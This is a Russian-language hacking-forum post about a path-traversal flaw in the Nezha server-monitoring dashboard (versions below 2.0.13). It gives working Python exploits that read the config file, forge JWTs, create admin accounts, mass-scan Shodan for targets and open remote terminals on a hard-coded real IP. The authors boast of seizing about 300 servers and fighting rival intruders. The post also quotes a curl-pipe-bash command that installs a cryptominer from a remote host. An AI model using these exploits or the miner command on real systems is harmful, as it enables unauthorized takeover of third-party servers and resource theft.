Приветствую всех читателей на этой платформе, я бы хотел поведать вам историю с данным CVE.
Для начала давайте войдем немного в курс дела и что вообще такое само по себе Nezha?
Nezha - "легковесный, самохостируемый инструмент для мониторинга серверов и веб-сайтов. Забудьте о сложных конфигурациях, тяжеловесных агентах и абонентской плате. Nezha предлагает элегантное решение, которое вы можете развернуть на своей инфраструктуре и полностью контролировать. Это как иметь личного, всегда бодрствующего системного администратора, который шепнет вам на ухо о любой проблеме, прежде чем она станет катастрофой."
Очень много красивых слов и эпиттетов автор данного поста использует для описания данной системы мониторинга и аркестрирование.[https://devtrends.ru/go/nezhahq-nezha?ysclid=mqqsi3utrk378654630] ,но что происходит на самом деле?
Стоит уточнить что для данной статьи были взяты версии Nezha ниже 2.0.13. Прошу обратить внимание на это!
Стоит уточнить что для данной статьи были взяты версии Nezha ниже 2.0.13. Прошу обратить внимание на это!
Суть данной CVE заключается в том что в устаревших версия существует pre-auth path traversal / arbitrary file read. Если говорить простыми словами возможность неунифицированному пользователю Алёше заглянуть внутрь микросервиса Вани, из-за чего может случиться от компрометации пользователя до RCE и захвата самих серверов, что далее будет показано в статье.
Глава 1. Что не так с Nezha?
Как говорилось ранее из-за Nezha может случиться достаточно много неприятных моментов, немного по душним и разберём почему вообще так получается, для этого давайте ознакомимся с самой начинкой, которая находится в опен сорсе на гите.
Чтобы не растягивать статью и ваше свободное время обратимся к официальному источнику [https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh ]
Ну так вот нас интересует прежде всего файл
cmd/dashboard/controller/controller.go и вот эти вот интересные строчки:
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Приглядевшись по внимательнее к строчки
if strings.HasPrefix(c.Request.URL.Path, "/dashboard") мы увидим, что данная функция (HasPrefix) просто проверяет существует ли вообще данная папка, а не целостность пути, так и получается что для неё
Code:
server.com/dashboard/
и
Code:
server/dashboard../data/config.yaml
это смежные понятия.
Вы скажете так библиотека в Go (net/http) имеет встроенный фильтр (containsDotDot), который отфильтровывает спец символы. в данном случае это "..".
Но опасность кроется в том, что вместо того чтобы вернуть нам при запросе (400 Bad Request) фильтр нас пропустит, опять из-за кривизны работы (HasPrefix), так как path хавает вообще что угодно. Уже для фильтра это выглядит как немного обкуренный путь, до dashboard.
Глава 2. Почему нам закрыли въезд в Китай?
И так перейдем к самой эксплуатации нашей CVE, хотелось бы выразить благодарность вот этому автору статьи за начальный вектор [https://forum.LIMB.cc/threads/7449/#post-31796].
на основе него мы собрали Автоматизированный скрипт на python
опубликованный ниже:
Python:
import requests, time, jwt, re
from concurrent.futures import ThreadPoolExecutor
u = input("Enter Target: ")
d = requests.get(f"{u}/dashboard../data/config.yaml")
s = re.search(r"jwt[a-z_]*\s*:\s*(.*)", d.text, re.I).group(1).strip()
w = d.text.split("web_real_ip_header: ")[1].split("\n")[0] if "web_real_ip_header: " in d.text else ""
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36"})
def f(i):
t = jwt.encode({"user_id": str(i), "ip": w, "iat": int(ts := time.time()), "nbf": ts - 5, "exp": ts + 900}, s, "HS256")
r = session.post(f"{u}/api/v1/user", headers={"Cookie": f"nz-jwt={t}"}, json={"username": "BanMan", "password": "Ca@nI_ma, "role": 0})
return i, t, r.status_code, r.text
with ThreadPoolExecutor(max_workers=20) as e:
for i, t, st, tr in e.map(f, range(1, 11)):
print(f"Attempt (user_id={i}) - Status: {st}")
if st == 200 and "ApiErrorUnauthorized" not in tr:
print(f"injected ")
break
Не удалось прогрузить медиа
На этом можно было уже начать отрабатывать, но нам снесло крышу и мы решили играть по крупному:
и мы прикрутили простой сканнер нужных технологий ко всему прочему и в конечном итоге образовался данный экслойт
Python:
import httpx
import asyncio
import json
import requests
import time
import jwt
import re
import argparse
import datetime
import time
import websocket
import threading
import os
from concurrent.futures import ThreadPoolExecutor
_apIKey = "Простите, но денег нема"
q = 'http.title:"Nezha Monitoring" -country:"RU"'
def Ex(t_data):
target = f"{t_data.get('ip_str')}:{t_data.get('port')}"
try:
url = f"http://{target}"
d = requests.get(f"{url}/dashboard../data/config.yaml", timeout=3)
if d.status_code != 200: return None
secret = re.search(r"jwt[a-z_]*\s*:\s*(.*)", d.text, re.I).group(1).strip()
web_ip = d.text.split("web_real_ip_header: ")[1].split("\n")[0] if "web_real_ip_header: " in d.text else ""
t = jwt.encode({"user_id": "1", "ip": web_ip, "iat": int(time.time()), "exp": time.time() + 900}, secret, "HS256")
r = requests.post(f"{url}/api/v1/user", headers={"Cookie": f"nz-jwt={t}"},
json={"username": "BanMan", "password": "Ca@nI_ma", "role": 0}, timeout=3)
if r.status_code == 200 and "ApiErrorUnauthorized" not in r.text:
return target, t
except:
pass
return None
lock = threading.Lock()
def Ws(target, t, s_list):
def on_message(ws, msg):
data = json.loads(msg)
now_ms = data.get("now", 0)
result = {
"target": target,
"online": data.get("online"),
"servers": [{
**{k: (s.get("host", {}).get(k) if k != "name" and k != "country_code" and k != "id" else s.get(k))
if (s.get("host", {}).get(k) if k != "name" and k != "country_code" and k != "id" else s.get(k)) is not None else ""
for k in ["id", "name", "platform", "cpu", "mem_total", "disk_total", "swap_total", "country_code"]
},
"online": bool(s.get("last_active")) and not s.get("last_active", "").startswith("0001-01-01") and (now_ms / 1000 - datetime.datetime.fromisoformat(s.get("last_active", "1970-01-01T00:00:00+00:00").replace("Z", "+00:00")[:26] + s.get("last_active", "")[26:]).timestamp()) < 10,
"cpu_pct": round(s.get("state", {}).get("cpu", 0), 2),
"mem_pct": round(s.get("state", {}).get("mem_used", 0) / s.get("host", {}).get("mem_total", 1) * 100, 2) if s.get("host", {}).get("mem_total") else 0,
"disk_pct": round(s.get("state", {}).get("disk_used", 0) / s.get("host", {}).get("disk_total", 1) * 100, 2) if s.get("host", {}).get("disk_total") else 0,
"net_in_speed": s.get("state", {}).get("net_in_speed", 0),
"net_out_speed": s.get("state", {}).get("net_out_speed", 0)
} for s in data.get("servers", [])]
}
with lock:
s_list.append(result)
ws.close()
websocket.WebSocketApp(f"ws://{target}/api/v1/ws/server",
header=[f"Origin: http://{target}", f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", f"Cookie: nz-jwt={t}"],
on_message=on_message
).run_forever()
async def S(max_pages):
try:
with open("success.json", "r", encoding="utf-8") as jf:
loaded = json.load(jf)
s_list = loaded if isinstance(loaded, list) else []
except (FileNotFoundError, json.JSONDecodeError):
s_list = []
executor = ThreadPoolExecutor(max_workers=60)
async with httpx.AsyncClient() as client:
for page in range(1, max_pages + 1):
print(f"Container {page}...")
params = {"key": _apIKey, "query": q, "page": page}
resp = await client.get("https://api.shodan.io/shodan/host/search", params=params, timeout=20)
if resp.status_code != 200: break
matches = resp.json().get("matches", [])
if not matches: break
results = list(executor.map(Ex, matches))
for res in results:
if res:
target, t = res
print(f"[InJected] {target}")
executor.submit(Ws, target, t, s_list)
await asyncio.sleep(0.5)
await asyncio.sleep(15)
executor.shutdown(wait=True)
_filter = [item for item in s_list if isinstance(item, dict) and item.get("servers")]
with lock:
with open("success.json", "w", encoding="utf-8") as jf:
json.dump(_filter, jf, indent=2, ensure_ascii=False)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-p", type=int, default=1, help="pages")
args = parser.parse_args()
asyncio.run(S(args.p))
print("All Done.")
по запросу через вебскоеты мы увидим вот такой ответ:
JSON:
{
"now": 1782238026000,
"online": 1,
"servers": [
{
"id": 6,
"name": "premium-boar",
"host": {
"platform": "freebsd",
"cpu": [
"Intel(R) Xeon(R) E-2388G CPU @ 3.20GHz 16 Physical Core"
],
"mem_total": 137315299328,
"disk_total": 37989340082688,
"arch": "amd64",
"boot_time": 1781093839
},
"state": {
"cpu": 7.848837209302325,
"mem_used": 64401887232,
"disk_used": 4626393246208,
"net_in_transfer": 573904298930,
"net_out_transfer": 530983333874,
"net_in_speed": 371194,
"net_out_speed": 450056,
"uptime": 1144186,
"load_1": 1.41650390625,
"load_5": 1.40185546875,
"load_15": 1.49560546875,
"process_count": 3
},
"country_code": "pl",
"last_active": "2026-06-24T02:07:05.861955075+08:00"
},
{
"id": 7,
"name": "clever-cicada",
"host": {
"platform": "freebsd",
"cpu": [
"Intel(R) Xeon(R) Silver 4214R CPU @ 2.40GHz 24 Physical Core"
],
"mem_total": 204691693568,
"disk_total": 82872146163712,
"arch": "amd64",
"boot_time": 1781093845
},
"state": {
"cpu": 10.54083885209713,
"mem_used": 72683323392,
"disk_used": 3553249782784,
"net_in_transfer": 1311381553384,
"net_out_transfer": 688324591242,
"net_in_speed": 117844,
"net_out_speed": 482252,
"uptime": 1144180,
"load_1": 2.58740234375,
"load_5": 2.91162109375,
"load_15": 3.09130859375,
"process_count": 3
},
"country_code": "pl",
"last_active": "2026-06-24T02:07:06.069810489+08:00"
},
{
"id": 8,
"name": "free-anteater",
"host": {
"platform": "debian",
"cpu": [
"Intel(R) Xeon(R) CPU E5-2697 v2 @ 2.70GHz 1 Virtual Core"
],
"mem_total": 1532481536,
"disk_total": 25262727168,
"swap_total": 3221217280,
"arch": "x86_64",
"boot_time": 1779410959
},
"state": {
"cpu": 3.666666671051644,
"mem_used": 1327554560,
"swap_used": 474963968,
"disk_used": 9473040384,
"net_in_transfer": 220225762035,
"net_out_transfer": 507441451410,
"net_in_speed": 1239,
"net_out_speed": 740,
"uptime": 2827067,
"load_1": 0.03,
"load_5": 0.03,
"tcp_conn_count": 20,
"udp_conn_count": 4,
"process_count": 103
},
"last_active": "2026-06-24T02:07:06.392892265+08:00"
},
{
"id": 9,
"name": "united-doe",
"host": {
"platform": "debian",
"cpu": [
"Intel(R) Xeon(R) CPU E5-2697 v2 @ 2.70GHz 1 Virtual Core"
],
"mem_total": 1004912640,
"disk_total": 63088406528,
"swap_total": 2147479552,
"arch": "x86_64",
"virtualization": "kvm",
"boot_time": 1781604411
},
"state": {
"cpu": 0.6666666672875483,
"mem_used": 542195712,
"swap_used": 8392704,
"disk_used": 6832754688,
"net_in_transfer": 27424870140,
"net_out_transfer": 76885407601,
"net_in_speed": 2935,
"net_out_speed": 238,
"uptime": 633631,
"load_1": 0.06,
"load_5": 0.12,
"load_15": 0.11,
"tcp_conn_count": 7,
"udp_conn_count": 3,
"process_count": 78
},
"last_active": "2026-06-24T02:07:06.503628694+08:00"
},
{
"id": 10,
"name": "sure-marlin",
"host": {
"platform": "debian",
"cpu": [
"Intel(R) Xeon(R) CPU @ 2.20GHz 2 Virtual Core"
],
"mem_total": 1001361408,
"disk_total": 31460429824,
"swap_total": 2147479552,
"arch": "x86_64",
"boot_time": 1773571430
},
"state": {
"cpu": 100,
"mem_used": 723120128,
"swap_used": 108474368,
"disk_used": 6600441856,
"net_in_transfer": 18520644806,
"net_out_transfer": 85745849921,
"net_in_speed": 274619,
"net_out_speed": 460047,
"uptime": 8133934,
"load_1": 5.9,
"load_5": 3.74,
"load_15": 3.53,
"tcp_conn_count": 1147,
"udp_conn_count": 8,
"process_count": 120
},
"last_active": "2026-06-17T22:09:24.302404218+08:00"
}
]
}
Не удалось прогрузить медиа
Не удалось прогрузить медиа
как видите сбоку расположена сама id данного устройства. посмотрим на внимательнее, что у нас происходит при открытии терминала
А здесь мы обнаруживаем незамысловатую логику получения
(session_id).
Не удалось прогрузить медиа
перейдём к самому сладкому как я считаю. как вообще происходит управление через консоль?
открываем наш BurpSuite и ловим запросы и что же мы обнаруживаем.
Не удалось прогрузить медиа
А тут у нас ребятушки обычный вебсокет который слушает что мы вводим, и записывает в так называемую ячейку памяти(буфер), но как только мы нажимаем ENTER в конец дописывается "\r" , что говорит системе о том, что ввод команды закончился нужно передать её машинки, а она в свою очередь через этот же канал вернет ответ прямо в вебсокете поднятом .
Ниже мы вам предоставляем POC небольшой, если это так можно назвать.
Python:
3# WebSocket Injection
import requests, json, os
import asyncio
import websockets
t = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODIwMzgzMTIsImlhdCI6MTc4MjAzNzQxMiwiaXAiOiIiLCJuYmYiOjE3ODIwMzc0MDcsInVzZXJfaWQiOiIzIn0.UIKigihc0LJm3iJMe5U8U1ckkC7dH-Q3MD_c81x4m1c"
r = requests.post("http://152.89.106.9:8008/api/v1/terminal",
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "Cookie": f"nz-jwt={t}"},json={"server_id": 6})
print(json.dumps(r.json(), indent=2, ensure_ascii=False)) if r.headers.get('content-type', '').startswith('application/json') else print(r.text)
data = r.json()
session_id = data["data"]["session_id"]
async def run():
ws_url = f"ws://152.89.106.9
:8008/api/v1/ws/terminal/{session_id}"
print("___Injected Socket___")
async with websockets.connect(ws_url, additional_headers={"Cookie": f"nz-jwt={t}"}) as ws:
async def reader():
while True:
try:
msg = await ws.recv()
text = msg.decode("utf-8", errors="replace") if isinstance(msg, bytes) else msg
print(text, end="", flush=True)
except Exception:
break
asyncio.create_task(reader())
loop = asyncio.get_event_loop()
while True:
cmd = await loop.run_in_executor(None, input, "")
if cmd.lower() in ("exit", "quit"):
break
await ws.send(cmd + "\r")
asyncio.run(run())
Не удалось прогрузить медиа
Глава 3. Война с клонами или почему китайцы обозлились на Google.
Затравка данного сюжета заключается в том, что как вы понимаете началась тотальная отработкаНе удалось прогрузить медиа
Но китайцы народ жадный и обидчивый, из -за чего они не стали терпеть такой наглости и начали пытаться нас скидывать с машинок и всячески их закрывать своим народным mirai, но мы не пальцем деланные и пошли по другой схеме. Мы прочухали как они закрепляются, а именно (самым шумным вариантом),
Не удалось прогрузить медиа
как вы можете заметить китайские браться у нас уже не первый раз используют данную заготовку:
```export HOME=/root && curl -s -L https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 88e4qvwx6rg1Dz3ra3bgBG1d6mbbSm2eZTgoCBG7jNTJiVMv32aYxudYnWjZr82BTd7TTQY9rkPZVAAtqPXjqmP5Dx29BRG
```
Мы углубились чуть дальше в расследование и нашли ещё кое-что .
[https://github.com/nezhahq/nezha/issues/1207]
а тут просто кладезь китайцев и их китайской мудрости, которые проливают Frosty IOt
Не удалось прогрузить медиа
На утро мы заходим в панели, а у нас всё легло, мы расстроились и пошли делать ход конём, мы заменили их все обращения на C2 и все Curl на пинг google.com, как только они это заметили, резко все хосты были прикрыты, но свои лиссенеры на хостах они не закрыли, поэтому мы сбросили cron и закрыли все дыры, через которые они крепились на хостах.
по итогу вот так мы проиграли битву, но выиграли войну.
Итоги:
Было захваченно 300 серверов из всего диапазона
Не удалось прогрузить медиа
Я думаю у вас возникнет резонный вопрос .сколько из них остались в рабочем состоянии после китайцев?
Ответ достаточно простой и лаконичный : 0, они всё убили, а что осталось нетронутым это несколько машинок работающие через google console.
Всем спасибо, что прочитали нашу статью, мы бы хотели чтобы вы оставили своё мнения на весь этот счёт и если что, поправили нас, если мы где-то ошиблись.
References and literature:
👍65
❤️21
😁12
🤔6
😢11
💯8
LIMB